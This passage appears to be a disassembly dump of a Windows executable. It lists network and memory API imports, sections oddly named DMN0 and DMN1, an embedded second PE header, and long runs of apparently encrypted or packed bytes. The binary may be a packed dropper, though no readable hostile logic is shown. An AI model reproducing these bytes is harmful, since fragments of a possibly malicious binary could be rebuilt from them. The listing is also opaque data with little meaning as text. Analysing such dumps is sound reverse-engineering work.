aInternetopena db 'InternetOpenA',0
align 4
aInternetopen_0 db 'InternetOpenUrlA',0
align 10h
aInternetcloseh db 'InternetCloseHandle',0
dd 6E490000h, 6E726574h, 65527465h, 69466461h, 656Ch, 494E4957h
dd 2E54454Eh, 6C6C64h, 72570000h, 43657469h, 6F736E6Fh
dd 41656Ch, 6C540000h, 74655373h, 756C6156h, 65h, 61657243h
dd 68546574h, 64616572h, 0
aResumethread db 'ResumeThread',0
align 4
aExitthread_0 db 'ExitThread',0
align 10h
dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 556C7452h
dd 6E69776Eh, 64h, 70616548h, 61657243h, 6574h, 65480000h
dd 65447061h, 6F727473h, 79h, 70616548h, 6F6C6C41h, 63h
dd 70616548h, 6C416552h, 636F6Ch, 65480000h, 72467061h
dd 6565h, 65480000h, 69537061h, 657Ah, 65480000h, 61567061h
dd 6164696Ch, 6574h, 65440000h, 6574656Ch, 74697243h, 6C616369h
dd 74636553h, 6E6F69h, 72430000h, 65746165h, 656C6946h
dd 41h, 41736C54h, 636F6C6Ch, 0
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
dd 6C540000h, 65724673h, 65h, 47736C54h, 61567465h, 65756Ch
dd 6E550000h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h
dd 746C6946h, 7265h, 65470000h, 73795374h, 546D6574h, 41656D69h
dd 6C694673h, 6D695465h, 65h, 46746547h, 54656C69h, 657079h
dd 75440000h, 63696C70h, 48657461h, 6C646E61h, 65h, 48746553h
dd 6C646E61h, 756F4365h, 746Eh, 65470000h, 766E4574h, 6E6F7269h
dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h
dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 74726956h
dd 416C6175h, 636F6C6Ch, 0
aVirtualquery db 'VirtualQuery',0
align 4
aWritefile db 'WriteFile',0
align 4
aSetstdhandle db 'SetStdHandle',0
align 4
aSetconsolectrl db 'SetConsoleCtrlHandler',0
align 4
aSetfilepointer db 'SetFilePointer',0
align 4
dd 65520000h, 69466461h, 656Ch, 65530000h, 646E4574h, 6946664Fh
dd 656Ch
dword_4127E8 dd 0B60000h ; DATA XREF: sub_407C90+44r
; sub_407C90+51r ...
dword_4127EC dd 0 ; DATA XREF: sub_407C90:loc_407CCFr
; sub_407C90+57r ...
dword_4127F0 dd 390000h ; DATA XREF: sub_408670+Fw
; DMN0:00408690r ...
dword_4127F4 dd 146AF8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_41121Co
dword_41280C dd 146AD0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411218o
dword_412824 dd 146AA8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411214o
dword_41283C dd 146A80h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411210o
dword_412854 dd 0AAE23900h ; DATA XREF: sub_409300o
; DMN0:00409327r ...
dword_412858 dd 1C87031h ; DATA XREF: DMN0:0040932Dr
; DMN1:0044B64Er
dword_41285C dd 146B20h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40103Co
; sub_401048+4o ...
dword_412874 dd 146B70h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401097o
; DMN0:004010D2o ...
dword_41288C dd 146B48h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401165o
; DMN0:004011DEo ...
dword_4128A4 dd 392F98h ; DATA XREF: sub_40122A+18r
; sub_40122A+41w ...
dword_4128A8 dd 0 ; DATA XREF: sub_4067B0+63r
; sub_4067B0+268r ...
dword_4128AC dd 0 ; DATA XREF: sub_4067B0+DAr
; sub_4067B0+F5r ...
dword_4128B0 dd 0 ; DATA XREF: sub_4067B0+D4r
; sub_4067B0+10Dr ...
dd 1Dh dup(0)
dword_412928 dd 3 dup(0) ; DATA XREF: sub_4023DC+15o
; sub_4446FD+15o
dword_412934 dd 0B50078h ; DATA XREF: sub_403B86+1Cr
; sub_403B86+3Dr ...
dword_412938 dd 0 ; DATA XREF: DMN0:00405A4Eo
; DMN0:loc_405A61o ...
dword_41293C dd 0 ; DATA XREF: DMN0:loc_405A44w
; DMN0:loc_405A74w ...
dword_412940 dd 0 ; DATA XREF: DMN0:00405AFAw
; DMN1:00447E1Bw
align 10h
dword_412950 dd 0 ; DATA XREF: DMN0:00405B01w
; DMN1:00447E22w
dword_412954 dd 0 ; DATA XREF: DMN0:00405A53r
; DMN0:00405A66r ...
off_412958 dd offset aWnss ; DATA XREF: DMN0:00405AAAr
; sub_405B88:loc_405B96r ...
; "wnss"
dword_41295C dd 0 ; DATA XREF: sub_405B88+13w
; sub_405B88+30o ...
dword_412960 dd 0 ; DATA XREF: sub_405B88+18w
; sub_447EA9+18w
dword_412964 dd 0 ; DATA XREF: sub_405B88+22w
; sub_447EA9+22w
dword_412968 dd 0 ; DATA XREF: sub_405B88+29w
; sub_447EA9+29w
dword_41296C dd 0 ; DATA XREF: sub_405D3F+Br
; sub_405D3F+5Fr ...
dword_412970 dd 400h dup(0) ; DATA XREF: sub_405FBD+1Bo
; sub_405FBD+31o ...
dword_413970 dd 146B98h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4067B0+2Fo
; sub_448AD1+2Fo
dword_413988 dd 391E90h ; DATA XREF: sub_408E40+6Fr
; sub_408EE0+1Br ...
dd 3Fh dup(0)
dword_413A88 dd 20h ; DATA XREF: sub_408EE0+6r
; sub_409360+28w ...
dd 15Eh dup(0)
dd 478F8C4Bh, 0
dd 10000h, 0Ah, 80000018h, 0
dd 478F8C4Bh, 0
dd 10000h, 1F41h, 80000030h, 0
dd 478F8C4Bh, 0
dd 10000h, 419h, 48h, 14058h, 15678h, 2 dup(0)
dd 505A4Dh, 2, 0F0004h, 0FFFFh, 0B8h, 0
dd 1A0040h, 8 dup(0)
dd 100h, 0E0010BAh, 0CD09B41Fh, 4C01B821h, 909021CDh, 73696854h
dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h
dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0)
dd 4550h, 3014Ch, 3 dup(0)
dd 0A18E00E0h, 10Bh, 3 dup(0)
dd 460FBh, 1000h, 0
dd 10000000h, 1000h, 200h, 2 dup(0)
dd 4, 0
dd 48000h, 400h, 0
dd 2, 100000h, 1000h, 100000h, 1000h, 0
dd 10h, 2 dup(0)
dd 47038h, 28h, 6 dup(0)
dd 47060h, 10h, 14h dup(0)
aDmn0 db 'DMN0',0
align 4
dd 30000h, 1000h, 5 dup(0)
dd 0C0000060h, 314E4D44h, 0
dd 15124h, 31000h, 15200h, 400h, 3 dup(0)
dd 0E0000060h, 324E4D44h, 0
dd 78h, 47000h, 78h, 15600h, 3 dup(0)
dd 0C0000060h, 64h dup(0)
; ---------------------------------------------------------------------------
jge short locret_414490
retf 0A2D1h
; ---------------------------------------------------------------------------
db 0F1h, 31h, 96h
dd 0A191B6BFh, 3B24E150h, 0C1779296h, 5D433147h, 8CD1085Eh
dd 6148FD69h, 0C1221B54h, 0B92B779h, 0E128BEAh, 81D903C7h
dd 90152854h, 0D665FD5Bh
; ---------------------------------------------------------------------------
locret_414490: ; CODE XREF: DMN0:00414458j
iret
; ---------------------------------------------------------------------------
db 3Fh, 0FEh, 0E6h
dd 2BB91F7Ah, 0C0ABFCCCh, 0B5486DBCh, 83E39A30h, 6A5EC065h
dd 0B3D7BFCBh, 315517BFh, 0F6FE6039h, 0E6403EBDh, 0B4D15F64h
dd 9F410B7Ch, 3C4BE2BEh, 4E0E8B0h, 0BA46424Eh, 4CBAD68Ch
dd 88602410h, 0FDA24253h, 0AF9CD3B1h, 0D6EEA0AEh, 86369C7Eh
dd 18FAC514h, 3E69763Ah, 20670F85h, 7EA360B5h, 756F391Fh
dd 7C7BAEFDh, 0BD9BC86Bh, 1DE72D96h, 0F2F11F3Ah, 62C0F8Eh
dd 0BC81AC02h, 0D99E4D9Ch, 0F4A43C66h, 3D39132Eh, 3D99D051h
dd 0FEFB54A6h, 87CCB2C4h, 6EDAC2F3h, 0AE2C633Fh, 2F730C24h
dd 95C9CB21h, 0CC2E20BFh, 4C846EFAh, 0F7097861h, 0B914A0B8h
dd 6B8F8991h, 0C2D6FBC4h, 0BCF1AF94h, 76673FAAh, 9913AA4h
dd 49727DD6h, 287431A2h, 4B9E2F1Bh, 39165186h, 0F894AAB8h
dd 0E522D3D0h, 0EA9678F2h, 282DB327h, 7D4714D0h, 0B136F2Bh
dd 754A540Dh, 99B71FE4h, 0A4A045C1h, 0EEA4024Fh, 0CF7E8906h
dd 9DA0FCC5h, 0B36EBA7Ah, 12B7813Ah, 9841206Fh, 7EC301A4h
dd 0A27F0466h, 0E090E315h, 0DA9361EDh, 67AA42F5h, 8C974EF6h
dd 429F4552h, 0A696F9Bh, 0B24719Ah, 30C2FE8Dh, 0AAEC6EA3h
dd 92AAC91Bh, 0B9F2FDD4h, 0D538FE29h, 2AE53DC4h, 6A48946Ch
dd 0D3DAEAE0h, 988F3484h, 8D8FD940h, 27587C47h, 9F96D78Bh
dd 65FD94FDh, 811D7D97h, 90EEDD8Ah, 1080011Bh, 4CBB270Ah
dd 0A3F4FFECh, 360D41CFh, 0B37A49C0h, 0CE077ADCh, 437D1F16h
dd 90426CC7h, 0DCE2DA66h, 9A7F731Ch, 0E265771Bh, 0F356398Ah
dd 3C8CEF5Bh, 5BFEB89Ch, 18564F00h, 1E50D72Ah, 0DCD95F0Ah
dd 9720222Bh, 0DC1158F4h, 608135Eh, 48CF4BACh, 0A8CAE728h
dd 0A645C283h, 7C82364Eh, 5643794Fh, 27F8E1E1h, 5730B5AAh
dd 0DC9EF04Ch, 0D9D6A68Eh, 693C12Fh, 504AB325h, 0E8339E76h
dd 227AB30Eh, 0F3368A4Ch, 79C4EEF7h, 8F6AF40Bh, 0D3346FAAh
dd 0D1156DADh, 0A0D7D710h, 14F9254Dh, 9E95C7FCh, 14FBCF44h
dd 8CCF6FDh, 93E1E07h, 489478AAh, 8707A90Bh, 291B5B12h
dd 0C9507335h, 0D918C3B0h, 10192644h, 12CE3C7Ah, 8F69159Dh
dd 0FB3B932h, 911034F6h, 13FF59A7h, 0F8A7B8CAh, 0A7F462F6h
dd 0C8284E3Bh, 3A6081E1h, 62E1C3F0h, 6CE87EE4h, 5684F24Ch
dd 0F4D83CCDh, 23B03EDDh, 824BA5EBh, 6B3E6359h, 9D42FE48h
dd 0F9874D1Dh, 651E82EFh, 0F1E93840h, 23BFAA45h, 6CDB05EEh
dd 0F6A92621h, 85DB60BFh, 0B2B2DC4h, 90A73AC4h, 152532F7h
dd 6D6CEC13h, 0D77C2008h, 0E96747D9h, 6C3D2944h, 58A5B96Dh
dd 9464016Ch, 583C89E1h, 93F5E99Fh, 2AF39D13h, 0EDB88D9Eh
dd 0FCB17C26h, 31575D88h, 524BB472h, 2CC14B73h, 0D46C0BCDh
dd 88A70448h, 89C2D20Fh, 0DBD6E1A8h, 0FA425A93h, 60075C70h
dd 3F54D7C6h, 154FD630h, 0CA52B5CDh, 5645E00Dh, 3A20BF21h
dd 0F037AD6Ah, 0B77F9566h, 87BB024Ch, 3BD32FA2h, 0B52C5A91h
dd 9872DC47h, 5F6AA30Ah, 0D930BA6h, 0A2304F5Ch, 1AD99642h
dd 0F268C4C4h, 9D8372EEh, 8BF4F462h, 0A9F54B9Dh, 9C1BF631h
dd 7548223Ah, 0D2ECCA1Fh, 810ED6F8h, 1DAE0762h, 146E312Bh
dd 6FA5DFC8h, 90AD453Ah, 0C28DD97Eh, 9D61AC32h, 0D562803h
dd 997BE4EEh, 1173CA3Eh, 0BF98828Dh, 66EFE006h, 74A3B0EAh
dd 8B61D9C3h, 3691CB69h, 4802FE4h, 0A8C86779h, 8CFD6F8Dh
dd 0A2EE382Dh, 11DAD17Eh, 822C68Ch, 8113056Ch, 4377A33Eh
dd 4465B779h, 6F8621BFh, 25ECF28Bh, 0A6C4BEFEh, 43D76F11h
dd 0E4BE9FE7h, 430ED2CDh, 9418EC6Eh, 890CF68Fh, 5ED8126Ah
dd 0EC3687A2h, 0E583F0F6h, 2C8541F8h, 1D009810h, 8F5AFDE5h
dd 4E8BE060h, 2916F47Bh, 0FFA8EC75h, 0C969F439h, 0C763BA15h
dd 813F89EAh, 2613D59h, 7211F90Ch, 59804E62h, 0ABED4A6Bh
dd 0E4366078h, 290B091Fh, 37E08162h, 4C49BA46h, 0E7ABF853h
dd 313ADBE2h, 0F07AD51Eh, 4F6979F0h, 2E4EDABAh, 0D6C6D0C9h
dd 103E9908h, 5E71698Ch, 0E9ED3D3Fh, 2A4CFA8h, 57C02D9Bh
dd 0D34575D7h, 973EDAC1h, 0CF63FA8Eh, 0F80660DCh, 97275C50h
dd 3DDB081Ah, 256C6AD2h, 35FD3DEBh, 0B4810ED0h, 4D962918h
dd 938DDFC9h, 0C0ACA7E5h, 223C26D8h, 9860110Dh, 0B1FE39FEh
dd 794C0294h, 620D3874h, 6B269D7Ah, 453900B3h, 69478553h
dd 0A643B8A7h, 65A2C240h, 80F21B4Ch, 4612E3BCh, 30D65C89h
dd 0BF345E16h, 88F1E458h, 0C2771228h, 65A4EBEFh, 0A282D7E7h
dd 0E77FC238h, 1E059315h, 0E437AD2h, 4BC6F187h, 8515A4F2h
dd 8330AA06h, 5AD328F4h, 2192C5BAh, 0BF0B3CBh, 2AC7DED9h
dd 43BDE8FBh, 0D72C0952h, 0A0DA41F6h, 0E4B6E8A0h, 8D30BE62h
dd 25FBA884h, 0C14360D0h, 374E2EE4h, 0CD6E48C1h, 0B9954170h
dd 0B148BAEEh, 8CA9F5BCh, 3D14CAB1h, 42B9C2D6h, 0BBFF363h
dd 27A7E0C7h, 7B044AB5h, 5D872643h, 1DFF1818h, 0E3064F39h
dd 0D836B796h, 3F57F606h, 0E13C2217h, 2E08771Fh, 9F883F68h
dd 33CA8572h, 0F5ACFFE4h, 1670245Dh, 3F5FD1BEh, 89583358h
dd 0F99EA2CDh, 0FFF17B6Fh, 26A20E55h, 7582FFCFh, 220A535Ch
dd 349F5757h, 1DFBAFB5h, 881B023Eh, 76C57854h, 0A27117F4h
dd 0ED4FBA30h, 0DF7D09DDh, 0C3D901CCh, 7B40ACEAh, 0E3CAD7F0h
dd 0AAC42D77h, 0B2874B17h, 273D08BAh, 76B8C045h, 12C8645Fh
dd 80481C99h, 8352222h, 9E44DB63h, 22F41FBAh, 4B3C8503h
dd 18BA80C7h, 5F288E3Ah, 0D5EB9641h, 3DDCD68Ah, 944C2761h
dd 201C77F8h, 58ECF6ADh, 9B67F143h, 0DAD9E98Ch, 8C71EBE2h
dd 3045D04Eh, 0F8D525E9h, 0E6065359h, 0B9AF93DBh, 0A8EA5508h
dd 0FAEA3086h, 1CDB4810h, 6FF292E8h, 40DD3812h, 0A8746856h
dd 0DDF579C2h, 6515D774h, 0A76C1EFFh, 42F8817Bh, 76D3935Eh
dd 33FC6D96h, 0EAC7BF28h, 0B7166A44h, 32C0DA72h, 9367CB74h
dd 95351BABh, 0BCF90AAEh, 93B6807Eh, 0DDD08FB6h, 5ADA9959h
dd 0B60ED67Ah, 640C2388h, 0C79C407Fh, 49EF062Eh, 1D67922Bh
dd 0D6D9AF9Fh, 0B4706730h, 2054C84Ah, 58D735F1h, 0AFFA734Bh
dd 39BEE9E4h, 8D37DCFDh, 37C530B0h, 75FD1D2Dh, 1C06B143h
dd 20A75B49h, 0C5E73FDBh, 95BA676Ch, 5EB0C5D4h, 97822C9Dh
dd 21D97112h, 59F2DC01h, 899B31F9h, 0C6D1A224h, 870E4A42h
dd 0AD01A7Eh, 67074BD3h, 227A1C5Bh, 0BD38857Dh, 92B283BCh
dd 23D88F32h, 4DCB9451h, 0AE1CD26Bh, 74CC2FDEh, 1F1C596Bh
dd 0DAEF29A4h, 9F67B340h, 0D2DA6D8Eh, 0BC70E3E6h, 5047C046h
dd 0B8D905F9h, 6BFE9338h, 0B9B6A9BBh, 8EC05D3Eh, 37E43032h
dd 723F1E29h, 1C8AB66Bh, 4B9F575Dh, 29F72707h, 915A772Dh
dd 56F0F454h, 0A403ED8Dh, 40D9E312h, 9FF1D811h, 158539F8h
dd 10D5522Bh, 0E37E4F35h, 4A05A7Ch, 5F26CB98h, 0A3BB1C43h
dd 0BDBA85DAh, 8D8E83E6h, 21C08F4Eh, 49DB95E9h, 867CD35Bh
dd 6AEC2DFEh, 0F2FD38C9h, 0BFEF214Fh, 11675C5Ch, 2EDA3359h
dd 0A47F5FFBh, 404638FEh, 98D815FDh, 2BFCB330h, 798A69ABh
dd 0A098DD1Fh, 56875110h, 7E591FA5h, 1CCEB76Bh, 2617555Dh
dd 0C4C7238Dh, 9F7A4034h, 2A3104D4h, 0BC838E8Dh, 13D9A512h
dd 93305411h, 3EE8448Ah, 4ED74248h, 677A0A4Ah, 0C2BF9B6Bh
dd 9F364B22h, 23D81CBEh, 0BDF4856Fh, 8C0A83E0h, 60C88F4Ah
dd 476995E1h, 9A5CD34Bh, 5F4C2D9Eh, 961C5CFBh, 3CEF20AEh
dd 53675D41h, 0AADA3189h, 0AC7F5BE4h, 70463042h, 0F8D865F1h
dd 0EBFCD328h, 0B98A285Ah
dd 8ED95D40h, 37F233B6h, 725B1F21h, 1CD2B47Bh, 260F53BDh
dd 0C4D72FBBh, 9F1A58ACh, 2A712B54h, 0BD03AF8Dh, 52DA6712h
dd 0A3F0D011h, 4D8729F8h, 0AED9722Bh, 777EEA40h, 0E2B7DA7Bh
dd 0DEC1CB2Eh, 0A3F91C50h, 4236856Eh, 8C8683E7h, 27F08F48h
dd 453B95E5h, 9EBCD343h, 570C2D8Eh, 0A59C5CDBh, 5DEF20EEh
dd 95675EC1h, 26DA3088h, 547F59EBh, 60463441h, 0D8D87DF3h
dd 0ABFCE32Ch, 398BC852h, 8ED91D51h, 37F1B3E8h, 725A1F5Dh
dd 1CD0B5C3h, 2603528Dh, 0C4AF2D5Bh, 9F0A5C6Ch, 2B9123D4h
dd 0BD43408Dh, 6D5A3912h, 0A2EF6C11h, 4B86D1F8h, 0A2D8622Bh
dd 4F7CCA40h, 0F28B1A7Bh, 0FED94B2Eh, 0E3EE1C50h, 0C250856Eh
dd 8CC283E6h, 26788F46h, 440B95F9h, 909CD33Bh, 2BCC2DBEh
dd 0BD1C5D3Bh, 4EEF202Eh, 0B7675E41h, 62DA3788h, 0DC7F57EBh
dd 90462840h, 38D875F4h, 6BFCF32Fh, 0B98BE851h, 8ED9DD52h
dd 37F133EAh, 72451F59h, 1CD6B5CBh, 2607529Dh, 0C4A72D7Bh
dd 9F3A5C2Ch, 2BB12254h, 0BD83418Dh, 6DDA3B12h, 0A1EF6811h
dd 4986D9F8h, 0A6D8122Bh, 477CAA40h, 828B5A7Bh, 1ED8CB2Eh
dd 23EF1C51h, 42528569h, 8CDE83E5h, 26608F44h, 441B95FDh
dd 90FCD333h, 2B8C2DAEh, 0BC9C5D1Bh, 4FEF206Eh, 0A9675FC1h
dd 7EDA3688h, 0C47F55EBh, 80462C40h, 18D84DF4h, 2BFD032Fh
dd 398B8851h, 8ED99D53h, 37F0B3ECh, 72441F55h, 1CD4B5D3h
dd 267B52EDh, 0C4BF2D1Bh, 9F2A5DECh, 2BD122D4h, 0BDC3428Dh
dd 6C5A3D12h, 0A0EF6411h, 4786C1F8h, 9AD8022Bh, 5F7C8A40h
dd 518A9A7Bh, 62531D7Dh, 50671075h, 0D7B38D82h, 9CDA7F88h
dd 0D0ED49CBh, 0B4E26185h, 5692BE91h, 0A7AEDB1Fh, 0BC2C64CBh
dd 0F3DCAAAEh, 0A9125F7Ah, 8A533677h, 0E96FBB2Ah, 0B0465FBFh
dd 101B1EAAh, 0FBFC1527h, 45FBBDAFh, 0DB194D54h, 5FA3D667h
dd 62461959h, 0E0AEA024h, 271542FDh, 94BF68B0h, 9E979344h
dd 0A2A87854h, 0B40B2B4Eh, 79252F13h, 0B7EF9C69h, 18DD1171h
dd 98D05AE8h, 42827A41h, 0B28A260Fh, 5AFFBFD1h, 0A3BC4AB9h
dd 4A26DC68h, 73C682EDh, 26ECF755h, 641356E5h, 6E2CD225h
dd 2AF05C5Bh, 0E65F9E4Bh, 9D6EC667h, 0AD6759C1h, 478D62DBh
dd 0FC02D21Dh, 2C22B40h, 30D85DF4h, 5402DCDAh, 0C5F75DAFh
dd 71E70D55h, 38F04C1Fh, 724693C9h, 1AF8DDA3h, 338C42CCh
dd 0D48FD0AFh, 0C9C620E1h, 4319542Bh, 0B243458Dh, 905AB49Fh
dd 4EBF83EEh, 4386A043h, 1BC8E6A8h, 0D086CB83h, 0C48A1A7Bh
dd 0F3DA2110h, 0E3129CD2h, 0E2A0D568h, 0D5D283A7h, 0ABDE0607h
dd 0BB1C99F4h, 0D291DB6Eh, 0C29A7C61h, 0B31C0C30h, 0FBFFE7ADh
dd 0CD0F0E82h, 9ACA3B6Ch, 0FC7F1DF0h, 38104119h, 0B8D80557h
dd 0E6EED877h, 467468D2h, 0ECB28DA9h, 0DF1F3306h, 72414EB6h
dd 3CB6ECF2h, 0D96753DBh, 0C47B54EEh, 0C5A4023Ch, 0E86CCCDDh
dd 0B3857DE5h, 1FCFCC02h, 66FF78EDh, 0C26370ADh, 1B88C2C7h
dd 0D82DDA05h, 4276DA6Eh, 0E359AD3Fh, 246010AEh, 42AEC0D0h
dd 342B68F9h, 36006B1Eh, 1EC9ADEh, 267383EFh, 25DCD62Bh
dd 0B64182Ch, 73EF2362h, 0F39EAE58h, 0BE9F8D87h, 0E47F2952h
dd 39B18540h, 0DD6CA2A6h, 9CF213D8h, 51DBFA12h, 9EDA791Fh
dd 0DF06C61Bh, 72404E9Ah, 47F87130h, 0E536BDA4h, 947AA5CEh
dd 98D236BFh, 3EAE30D5h, 0A2C3BAF9h, 6EBE757Ah, 0AC9A8B01h
dd 7FD71B10h, 3829B2Bh, 4BA68F83h, 42CC1767h, 41260EA6h
dd 16EFE023h, 52ACD667h, 0C2A83BAh, 0CE5B839Eh, 43ABC1B6h
dd 9764BB52h, 38B33C1Fh, 0A21CA183h, 2903ABF5h, 46EE0C82h
dd 19D2D50Bh, 0E422C0BDh, 0FDB908ABh, 0E8DB55E4h, 0EB0D438Fh
dd 3CBFD746h, 9EDA5B08h, 0C8F01B0Eh, 4FC046BEh, 0F2245ABh
dd 0CDB0243Dh, 0C09644CAh, 7A725EACh, 728ED8A9h, 43135206h
dd 6A532712h, 0AAE92084h, 5FBD69E8h, 4898F55Eh, 0DC5F1505h
dd 9DCC1C7Fh, 26B0480Fh, 5301BD56h, 12CB956Ah, 9F330AEEh
dd 0AD208FA8h, 45EB10B1h, 9757C302h, 2B842F84h, 0B2161E9Dh
dd 7B9BE26Ah, 0D1981FFBh, 0BEA7B981h, 947F4DEBh, 9DC6F23Ch
dd 0D1AE9F0Bh, 0DEDF58AEh, 38638B52h, 0AEE09D1Ah, 0C8D498Ch
dd 0F14B6CBDh, 1FD0A5BEh, 0A71F711Dh, 0C39F3CFAh, 1BAEDD7Ch
dd 3C902184h, 3A18168Dh, 3C9974FEh, 466EA998h, 7B861068h
dd 39BDB478h, 8AF0CA42h, 8D76E40Bh, 3D62447Fh, 0A99FF406h
dd 4C9856Ah, 0A456756Bh, 27393430h, 0BDFB1014h, 9ECC2F04h
dd 0C59CEF89h, 0B11C1454h, 806AE4A7h, 67565E35h, 64B22463h
dd 746F470Fh, 0EFB9F52Ah, 50D05EACh, 7BFD972Dh, 4675B5BDh
dd 4EEA84A5h, 0BE566DBAh, 9A8E4555h, 1F26FFCEh, 0E527912Ch
dd 9382A52Eh, 0F4BC347Fh, 0C4B34C55h, 0B38303BAh, 925BE89Bh
dd 5610B7EEh, 0B9B71D8Dh, 0C31CC4C0h, 15D52ABCh, 8F8D307Ah
dd 7684376Ah, 23170C52h, 42BD7A0Dh, 9DD6D0EDh, 0E1208F1Eh
dd 0EB1B69D8h, 9596D1E1h, 7D7069A3h, 0B08C5873h, 88104A6Eh
dd 31345BC1h, 5EDA777Dh, 8583002Ch, 6A460C40h, 0E49E00F1h
dd 43F5E971h, 398877AAh, 0C7007508h, 0EF85B3FCh, 2FA091EEh
dd 0FAADE050h, 2031023Dh, 0C1152D71h, 9EE3E104h, 0AD12AFD4h
dd 4C3CB576h, 595E58EDh, 0C18EAFD1h, 746E0DBDh, 0BF52822Bh
dd 9279E0BCh, 7AD8663Eh, 3ED45B2Ah, 63EBE33Fh, 5494D665h
dd 0E63A83A5h, 25C08717h, 6629591h, 1CD8BA17h, 441CD09Bh
dd 0B01C4E7Dh, 7810DAC6h, 0AD8F0841h, 6BDA3DC1h, 9C02C02Bh
dd 0E0D30F40h, 1227C07Ch, 17B81E25h, 0D180C204h, 8ED4A2A3h
dd 7E5BDBADh, 0AAC618B1h, 42C63CC0h, 0C3D604BEh, 9EFC7F6Bh
dd 8E1F36A4h, 2CF126BCh, 0DAFF0E04h, 949FA216h, 0BFEA2841h
dd 8AEE09F8h, 0ADDBB2D4h, 173B42A8h, 2ECDB37Bh, 5ED7C8C7h
dd 0C9E959DEh, 0BE3B0860h, 9F30EBA3h, 0D9B88F50h, 10FB956Ah
dd 9275D80Bh, 0AFCC1DCEh, 0B89C4A26h, 3C66F57Bh, 50633E3Dh
dd 3C8AC0CDh, 4B8029E3h, 0C8150440h, 58DBD51Ch, 0F6112A7Ah
dd 1DFCB797h, 0C635F559h, 0F73AB3F0h, 0FB1BDBEDh, 13C43486h
dd 7553514Ch, 0CB12A08Dh, 60BEFAEFh, 0AF11DA2Bh, 4FBDB428h
dd 0CED921EDh, 5110A2EDh, 8F3BB2F8h, 0B2245DD5h, 6AF95C33h
dd 0CD77E486h, 0F7D61BACh, 1CE4E0DEh, 47E40C63h, 70CD7CC2h
dd 0D82C0D03h, 299B6A96h, 1F1CBA5Bh, 0D332D77Bh, 0B7760044h
dd 7AA7B1C6h, 5CA1E541h, 59AE2C70h, 0B80AE96Eh, 53AD7871h
dd 0E69BD5C4h, 361E3A7Bh, 5C073D88h, 0CB5D8E0Eh, 486B630Eh
dd 8D391CCFh, 7FE6BD1Eh, 0AF975115h, 3C3FA838h, 0D8F15C58h
dd 0C2B87FA8h, 3DD68ED0h, 7336A0F7h, 0B7FF3242h, 61C3B4F8h
dd 679EBA7Ah, 0A3F12A5Fh, 874F3C75h, 15D6C9D2h, 6692100Dh
dd 7CD8A6Bh, 0A5E6D3D1h, 40C088C4h, 0CE29D0E4h, 8216200Eh
dd 24F9D4BDh, 0B6D44E73h, 8417BA6Eh, 115669B4h, 6EEBD163h
dd 48F646AAh, 0C9137F03h, 8837EE6Ch, 41E2A94Bh, 0C9CB857Bh
dd 0DE2575EFh, 0F381B334h, 37BF7E29h, 940CB883h, 630243E8h
dd 8668186Fh, 4783F8FCh, 48513493h, 39312B04h, 7230154Fh
dd 0D49A2B42h, 8FC6F510h, 0D525C12Ah, 0BF470E2Ah, 12B69992h
dd 526F1062h, 0EA6DDF15h, 3DB1EF7Ah, 33628BB5h, 0A0C888CDh
dd 702FE8A1h, 0A75F3B8Bh, 0E4116B5Eh, 0C5F9D9AEh, 0CABC2C43h
dd 130D7D2Ch, 7A2A9406h, 0AC2F9101h, 7C82335Ch, 89EA2EBh
dd 0AE35D312h, 0B98E3886h
dd 7EA4D0E0h, 67EE76FBh, 7A0EE6F7h, 1F553B93h, 0A74CC4BDh
dd 3C28EC40h, 0AC1FD553h, 0A773B094h, 3C585155h, 3719FAFEh
dd 2F6DB598h, 0DAD67AECh, 0A5CF2FA1h, 55E9E60Ah, 0E158BC79h
dd 0CE9BCB22h, 0E6D41C22h, 721ED56Eh, 0D068397h, 0E396844Ch
dd 7F396520h, 9A509584h, 0B20C2B8Eh, 1011A0A6h, 42B86803h
dd 738F66B3h, 2FDAD0CCh, 0AB81982Eh, 15B94BA4h, 331B4C8Bh
dd 0A7A76803h, 0B07B8DE9h, 0CB6612F3h, 3BE9E25Ah, 147A199Ah
dd 0EF99BB4Ah, 0AFD812D2h, 966C4CB7h, 0CB5841E5h, 23CCD883h
dd 5E535D06h, 825B130Fh, 3DBDFC64h, 616BD98Dh, 0ABDE626Ch
dd 309E4F99h, 0D5B997Ch, 9A040C9h, 1CCBEF49h, 869B5AE1h
dd 0D51CDCD6h, 0A22D4BDBh, 295DC69Ch, 58C8DB0h, 0D8171A61h
dd 3E1C3B1Bh, 51E34DD0h, 0C58F6633h, 6BDAD7CDh, 0A289922Eh
dd 1BB1814Ah, 0C8DA79C5h, 6AFEB69Eh, 0C6706D92h, 0D109542Eh
dd 0F45C69F4h, 2180908Ch, 429DEF9Dh, 1758C58Dh, 0A987FAA0h
dd 0E8C4F72Ch, 27C4AD58h, 0B5C55965h, 0F81DF212h, 0E8FE96E7h
dd 85C6520Fh, 6357E22Bh, 0C29BAB53h, 0B4F2586h, 45D694FAh
dd 0AA1ADF14h, 1444D67Ch, 552DE4Eh, 368B98F9h, 0BE49517h
dd 0F9038323h, 75C9C3A6h, 0AA15511Bh, 0AA90CEEAh, 8298A745h
dd 0FF2DFF80h, 0BB80901Bh, 90032785h, 458013DFh, 1AA550D4h
dd 1DFB7797h, 0C8F275FFh, 0F489B2ACh, 8D9BE254h, 261472Ch
dd 2ADF3812h, 0C3F907F3h, 18ED2CECh, 0ACD42722h, 0BE28DD45h
dd 0F7573B99h, 2BEE6F11h, 0D95B48FAh, 938BC171h, 4B8409BAh
dd 82F8CC2Ah, 7B054B48h, 0D7A44CB9h, 400C85D7h, 493C8F00h
dd 2B6A78C7h, 6E87D0B6h, 1DCD02Bh, 77C1DA03h, 934F0197h
dd 1E0733DAh, 0E2676F03h, 524564Dh, 0C4E179Dh, 0E5CDBBB1h
